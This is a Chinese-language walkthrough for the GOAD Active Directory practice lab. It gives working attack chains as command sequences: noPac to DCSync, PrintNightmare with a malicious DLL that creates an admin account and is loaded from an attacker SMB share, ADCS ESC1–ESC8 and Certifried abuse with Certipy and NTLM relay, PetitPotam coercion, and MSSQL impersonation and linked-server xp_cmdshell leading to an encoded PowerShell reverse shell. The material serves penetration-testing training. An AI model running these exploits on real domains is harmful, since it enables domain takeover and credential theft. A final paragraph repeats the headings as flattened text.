域渗透GOAD(Game Of Active Directory) v2 (二)
字数 1119 2025-08-25 22:58:29

域渗透GOAD(Game Of Active Directory) v2 技术文档

0x05 使用用户权限进行渗透

SamAccountName (nopac)漏洞利用

漏洞背景

  • CVE-2021-42287和CVE-2021-42278组合漏洞
  • 允许通过伪造域控制器名称获取高权限票据

利用步骤

  1. 检查机器账号配额

    cme ldap winterfell.north.sevenkingdoms.local -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M MAQ
    
  2. 准备Impacket环境

    git clone https://github.com/SecureAuthCorp/impacket myimpacket
    cd myimpacket
    git fetch origin pull/1224/head:1224
    git fetch origin pull/1202/head:1202
    git merge 1202
    git merge 1224
    pip install .
    
  3. 完整利用流程

    • 添加计算机账号:
      python addcomputer.py -computer-name 'samaccountname$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'
      
    • 清除SPN:
      python addspn.py --clear -t 'samaccountname$' -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' 'winterfell.north.sevenkingdoms.local'
      
    • 重命名为DC名称:
      python renameMachine.py -current-name 'samaccountname$' -new-name 'winterfell' -dc-ip 'winterfell.north.sevenkingdoms.local' north.sevenkingdoms.local/jon.snow:iknownothing
      
    • 获取TGT:
      python getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell':'ComputerPassword'
      
    • 恢复原始名称:
      python renameMachine.py -current-name 'winterfell' -new-name 'samaccount$' north.sevenkingdoms.local/jon.snow:iknownothing
      
    • 获取ST票据:
      export KRB5CCNAME=winterfell.ccache
      python getST.py -self -impersonate 'administrator' -altservice 'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell'
      
    • 执行DCSync:
      export KRB5CCNAME=administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
      python secretsdump.py -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' @'winterfell.north.sevenkingdoms.local'
      

PrintNightmare漏洞利用

利用条件

  • 目标系统Spooler服务运行
  • 存在可写共享用于上传恶意DLL

利用步骤

  1. 检查Spooler服务

    cme smb 192.168.56.10-23 -M spooler
    # 或
    python rpcdump.py @192.168.56.10 | egrep 'MS-RPRN|MS-PAR'
    
  2. 准备恶意DLL

    #include <windows.h> 
    int RunCMD() {
        system("net users pnightmare Passw0rd123. /add");
        system("net localgroup administrators pnightmare /add");
        return 0;
    }
    BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
        switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH: RunCMD(); break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH: break; }
        return TRUE;
    }
    

    编译:

    x86_64-w64-mingw32-gcc -shared -o nightmare.dll nightmare.c
    
  3. 设置SMB共享

    python smbserver.py -smb2support ATTACKERSHARE .
    
  4. 执行攻击

    python CVE-2021-1675.py essos.local/jorah.mormont:'H0nnor!'@meereen.essos.local '\\192.168.56.1\ATTACKERSHARE\nightmare.dll'
    
  5. 绕过Defender的高级DLL

    // 使用NetUserAdd和NetLocalGroupAddMembers API替代system调用
    

0x06 ADCS攻击

ESC8攻击

利用条件

  • ADCS启用Web注册
  • 存在有效的强制认证方法(PetitPotam等)
  • 存在可利用的模板(默认DomainController模板)

利用步骤

  1. 设置NTLM中继

    python ntlmrelayx.py -t http://192.168.56.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
    
  2. 强制认证

    python petitpotam.py 192.168.56.1 meereen.essos.local
    
  3. 获取TGT

    gettgtpkinit.py -pfx-base64 $(cat cert.b64) 'essos.local'/'meereen$' 'meereen.ccache'
    
  4. 执行DCSync

    export KRB5CCNAME=meereen.ccache
    python secretsdump.py -k -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local
    

使用Certipy自动化攻击

  1. 设置中继

    certipy relay -ca 192.168.56.23 -template DomainController
    
  2. 强制认证并获取证书

    python petitpotam.py 192.168.56.1 meereen.essos.local
    
  3. 认证并获取NT哈希

    certipy auth -pfx meereen.pfx -dc-ip 192.168.56.12
    

ADCS枚举

  1. 使用Certipy枚举

    certipy find -u khal.drogo@essos.local -p 'horse' -dc-ip 192.168.56.12
    
  2. 导入BloodHound分析

    # 使用修改版BloodHound支持Certipy输出
    

其他ADCS攻击技术

  1. ESC1攻击

    certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos.local
    certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
    
  2. ESC2 & ESC3攻击

    certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC2 -ca ESSOS-CA
    certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
    certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
    
  3. ESC4攻击(模板修改)

    certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -save-old
    # 利用修改后的模板
    certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC4 -ca ESSOS-CA -upn administrator@essos.local
    # 恢复模板
    certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -configuration ESC4.json
    
  4. ESC6攻击

    certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -upn administrator@essos.local
    
  5. Certifried (CVE-2022-26923)

    certipy account create -u khal.drogo@essos.local -p 'horse' -user 'certifriedpc' -pass 'certifriedpass' -dns 'meereen.essos.local'
    certipy req -u 'certifriedpc$'@essos.local -p 'certifriedpass' -target braavos.essos.local -ca ESSOS-CA -template Machine
    certipy auth -pfx meereen.pfx -username 'meereen$' -domain essos.local -dc-ip 192.168.56.12
    
  6. Shadow Credentials

    certipy shadow auto -u khal.drogo@essos.local -p 'horse' -account 'viserys.targaryen'
    

0x07 MSSQL攻击

MSSQL枚举

  1. 使用GetUserSPNs枚举

    python GetUserSPNs.py north.sevenkingdoms.local/brandon.stark:iseedeadpeople
    
  2. 使用CrackMapExec枚举

    cme mssql 192.168.56.22-23
    

权限提升技术

  1. Impersonate攻击

    mssqlclient.py -windows-auth north.sevenkingdoms.local/samwell.tarly:Heartsbane@castelblack.north.sevenkingdoms.local
    # 枚举可模拟的登录
    enum_impersonate
    # 模拟sa账户
    exec_as_login sa
    enable_xp_cmdshell
    xp_cmdshell whoami
    
  2. 数据库用户模拟

    use msdb
    exec_as_user dbo
    xp_cmdshell whoami
    

强制认证与中继

  1. 设置Responder

    sudo responder -I vboxnet0
    
  2. 触发强制认证

    exec master.sys.xp_dirtree '\\192.168.56.1\demontlm',1,1
    

可信链接攻击

  1. 枚举链接服务器

    enum_links
    
  2. 通过链接服务器执行命令

    use_link BRAAVOS
    enable_xp_cmdshell
    xp_cmdshell whoami
    

命令执行到Shell

  1. 生成PowerShell反向Shell

    # 生成base64编码的PowerShell payload
    
  2. 执行Shell

    xp_cmdshell "powershell -exec bypass -enc <base64_payload>"
    

总结

本文详细介绍了在Active Directory环境中的多种高级攻击技术,包括:

  1. 通过SamAccountName漏洞进行域权限提升
  2. PrintNightmare漏洞利用
  3. ADCS服务的多种攻击方式(ESC1-ESC8)
  4. MSSQL服务的攻击向量和权限提升技术

每种技术都提供了详细的利用步骤和命令示例,涵盖了从信息收集到最终权限提升的完整攻击链。这些技术在实际渗透测试中具有极高的实用价值,但应仅在授权测试环境中使用。

域渗透GOAD(Game Of Active Directory) v2 技术文档 0x05 使用用户权限进行渗透 SamAccountName (nopac)漏洞利用 漏洞背景 : CVE-2021-42287和CVE-2021-42278组合漏洞 允许通过伪造域控制器名称获取高权限票据 利用步骤 : 检查机器账号配额 : 准备Impacket环境 : 完整利用流程 : 添加计算机账号: 清除SPN: 重命名为DC名称: 获取TGT: 恢复原始名称: 获取ST票据: 执行DCSync: PrintNightmare漏洞利用 利用条件 : 目标系统Spooler服务运行 存在可写共享用于上传恶意DLL 利用步骤 : 检查Spooler服务 : 准备恶意DLL : 编译: 设置SMB共享 : 执行攻击 : 绕过Defender的高级DLL : 0x06 ADCS攻击 ESC8攻击 利用条件 : ADCS启用Web注册 存在有效的强制认证方法(PetitPotam等) 存在可利用的模板(默认DomainController模板) 利用步骤 : 设置NTLM中继 : 强制认证 : 获取TGT : 执行DCSync : 使用Certipy自动化攻击 设置中继 : 强制认证并获取证书 : 认证并获取NT哈希 : ADCS枚举 使用Certipy枚举 : 导入BloodHound分析 : 其他ADCS攻击技术 ESC1攻击 : ESC2 & ESC3攻击 : ESC4攻击(模板修改) : ESC6攻击 : Certifried (CVE-2022-26923) : Shadow Credentials : 0x07 MSSQL攻击 MSSQL枚举 使用GetUserSPNs枚举 : 使用CrackMapExec枚举 : 权限提升技术 Impersonate攻击 : 数据库用户模拟 : 强制认证与中继 设置Responder : 触发强制认证 : 可信链接攻击 枚举链接服务器 : 通过链接服务器执行命令 : 命令执行到Shell 生成PowerShell反向Shell : 执行Shell : 总结 本文详细介绍了在Active Directory环境中的多种高级攻击技术,包括: 通过SamAccountName漏洞进行域权限提升 PrintNightmare漏洞利用 ADCS服务的多种攻击方式(ESC1-ESC8) MSSQL服务的攻击向量和权限提升技术 每种技术都提供了详细的利用步骤和命令示例,涵盖了从信息收集到最终权限提升的完整攻击链。这些技术在实际渗透测试中具有极高的实用价值,但应仅在授权测试环境中使用。